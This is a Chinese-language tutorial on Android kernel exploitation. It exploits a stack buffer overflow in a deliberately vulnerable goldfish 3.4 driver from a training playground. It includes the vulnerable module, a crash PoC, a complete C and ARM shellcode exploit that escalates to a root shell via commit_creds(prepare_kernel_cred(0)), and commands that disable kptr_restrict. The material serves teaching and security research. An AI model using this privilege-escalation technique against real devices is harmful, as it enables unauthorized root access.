Android内核漏洞——初探
字数 1528 2025-08-22 12:22:24
Android内核漏洞初探:栈缓冲区溢出漏洞分析与利用
环境搭建
系统要求
- 操作系统:Ubuntu 16.04
- 目标内核版本:Android goldfish 3.4
步骤1:获取内核源码
git clone https://aosp.tuna.tsinghua.edu.cn/kernel/goldfish.git
步骤2:获取漏洞项目
git clone https://github.com/Fuzion24/AndroidKernelExploitationPlayground.git kernel_exploit_challenges
步骤3:切换到3.4内核版本
cd goldfish
git checkout -t origin/android-goldfish-3.4
步骤4:应用漏洞补丁
git am --signoff < ../kernel_exploit_challenges/kernel_build/debug_symbols_and_challenges.patch
cd .. && ln -s $(pwd)/kernel_exploit_challenges/ goldfish/drivers/vulnerabilities
步骤5:获取交叉编译工具链
git clone https://aosp.tuna.tsinghua.edu.cn/platform/prebuilts/gcc/linux-x86/arm/arm-linux-androideabi-4.6
步骤6:构建内核
export ARCH=arm SUBARCH=arm CROSS_COMPILE=arm-linux-androideabi-
export PATH=$(pwd)/arm-linux-androideabi-4.6/bin/:$PATH
cd goldfish && make goldfish_armv7_defconfig && make -j8
构建完成后会生成两个重要文件:
goldfish/vmlinux:用于调试时gdb加载,提供符号表goldfish/arch/arm/boot/zImage:用于安卓模拟器启动时加载
步骤7:安装JDK和SDK
sudo apt update
sudo apt-get install default-jre default-jdk
wget http://dl.google.com/android/android-sdk_r24.4.1-linux.tgz
tar xvf android-sdk_r24.4.1-linux.tgz
export PATH=YOURPATH/android-sdk-linux/tools:$PATH
步骤8:创建安卓模拟器
android create avd --force -t "android-19" -n kernel_challenges
步骤9:启动模拟器并开启调试
cd goldfish
emulator -show-kernel -kernel arch/arm/boot/zImage -avd kernel_challenges -no-boot-anim -no-skin -no-audio -no-window -qemu -monitor unix:/tmp/qemuSocket,server,nowait -s
步骤10:调试准备
sudo ln -s /usr/lib/x86_64-linux-gnu/libpython2.7.so /lib/x86_64-linux-gnu/libpython2.6.so.1.0
arm-linux-androideabi-gdb vmlinux
(gdb) target remote :1234
漏洞分析:栈缓冲区溢出
漏洞代码
#include <linux/module.h>
#include <linux/kernel.h>
#include <linux/init.h>
#include <linux/proc_fs.h>
#include <linux/string.h>
#include <asm/uaccess.h>
#define MAX_LENGTH 64
MODULE_LICENSE("GPL");
MODULE_AUTHOR("Ryan Welton");
MODULE_DESCRIPTION("Stack Buffer Overflow Example");
static struct proc_dir_entry *stack_buffer_proc_entry;
int proc_entry_write(struct file *file, const char __user *ubuf, unsigned long count, void *data) {
char buf[MAX_LENGTH];
if (copy_from_user(&buf, ubuf, count)) {
printk(KERN_INFO "stackBufferProcEntry: error copying data from userspace\n");
return -EFAULT;
}
return count;
}
static int __init stack_buffer_proc_init(void) {
stack_buffer_proc_entry = create_proc_entry("stack_buffer_overflow", 0666, NULL);
stack_buffer_proc_entry->write_proc = proc_entry_write;
printk(KERN_INFO "created /proc/stack_buffer_overflow\n");
return 0;
}
static void __exit stack_buffer_proc_exit(void) {
if (stack_buffer_proc_entry) {
remove_proc_entry("stack_buffer_overflow", stack_buffer_proc_entry);
}
printk(KERN_INFO "vuln_stack_proc_entry removed\n");
}
module_init(stack_buffer_proc_init);
module_exit(stack_buffer_proc_exit);
漏洞原理
- 驱动创建了
/proc/stack_buffer_overflow设备文件 - 当对该文件调用write系统调用时,会调用
proc_entry_write函数 - 函数中定义了一个64字节的栈缓冲区
buf copy_from_user函数在拷贝数据时未检查长度,直接拷贝用户空间数据到内核空间- 攻击者可以构造超过64字节的数据覆盖栈上的返回地址,劫持程序流程
前置知识
PXN (Privileged Execute-Never)
- ARM平台的内核保护机制
- 禁止内核执行用户空间的代码(但不阻止读取用户空间数据)
- 由页表属性的PXN位控制
- 3.4内核未开启PXN保护,可以执行用户态内存中的shellcode
- 3.10+内核默认开启PXN保护
Kernel Address Display Restriction
/proc/kallsyms文件保存所有内核符号及其内存地址- 从Ubuntu 11.04和RHEL 7开始,
/proc/sys/kernel/kptr_restrict默认设为1,防止内核地址泄露 - 检查状态:
cat /proc/kallsyms | grep commit_creds
- 关闭保护(用于调试):
echo 0 > /proc/sys/kernel/kptr_restrict
漏洞验证(POC)
echo AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA > /proc/stack_buffer_overflow
这会触发kernel panic并劫持PC寄存器。
漏洞利用(EXP)
利用思路
- 使用
prepare_kernel_cred(0)创建特权用户cred - 使用
commit_creds(prepare_kernel_cred(0))将当前用户cred设置为特权cred - 通过
MSR CPSR_c,R3从内核态切换回用户态 - 执行
execl("/system/bin/sh", "sh", NULL)获取root shell
完整EXP代码
#include <stdio.h>
#include <string.h>
#include <unistd.h>
#include <fcntl.h>
#include <sys/mman.h>
#define MAX 64
int open_file(void) {
int fd = open("/proc/stack_buffer_overflow", O_RDWR);
if (fd == -1) err(1, "open");
return fd;
}
void payload(void) {
printf("[+] enjoy the shell\n");
execl("/system/bin/sh", "sh", NULL);
}
extern uint32_t shellCode[];
asm(
" .text\n"
" .align 2\n"
" .code 32\n"
" .globl shellCode\n\t"
"shellCode:\n\t"
// commit_creds(prepare_kernel_cred(0)get root
"LDR R3, =0xc0039d34\n\t" //prepare_kernel_cred addr
"MOV R0, #0\n\t"
"BLX R3\n\t"
"LDR R3, =0xc0039834\n\t" //commit_creds addr
"BLX R3\n\t"
"mov r3, #0x40000010\n\t"
"MSR CPSR_c,R3\n\t"
"LDR R3, =0x82d5\n\t" // payload function addr
"BLX R3\n\t");
void trigger_vuln(int fd) {
#define MAX_PAYLOAD (MAX + 2 * sizeof(void *))
char buf[MAX_PAYLOAD];
memset(buf, 'A', sizeof(buf));
void *pc = buf + MAX + 1 * sizeof(void *);
printf("shellcdoe addr: %p\n", shellCode);
printf("payload:%p\n", payload);
*(void **)pc = (void *)shellCode; //ret addr
write(fd, buf, sizeof(buf));
}
int main(void) {
int fd;
fd = open_file();
trigger_vuln(fd);
payload();
close(fd);
}
Shellcode解释
LDR R3, =0xc0039d34- 加载prepare_kernel_cred函数地址到R3MOV R0, #0- 设置参数0BLX R3- 调用prepare_kernel_cred(0)LDR R3, =0xc0039834- 加载commit_creds函数地址到R3BLX R3- 调用commit_creds(prepare_kernel_cred(0))mov r3, #0x40000010- 准备切换模式的值MSR CPSR_c,R3- 通过CPSR状态寄存器切换到用户模式LDR R3, =0x82d5- 加载payload函数地址(需根据实际地址调整)BLX R3- 跳转到payload函数
常见问题解决
- adb push遇到read-only system:
adb remount
adb shell chmod 777 system
- BX跳转地址:
- 由于thumb指令的原因,实际跳转地址是IDA中看到的地址+1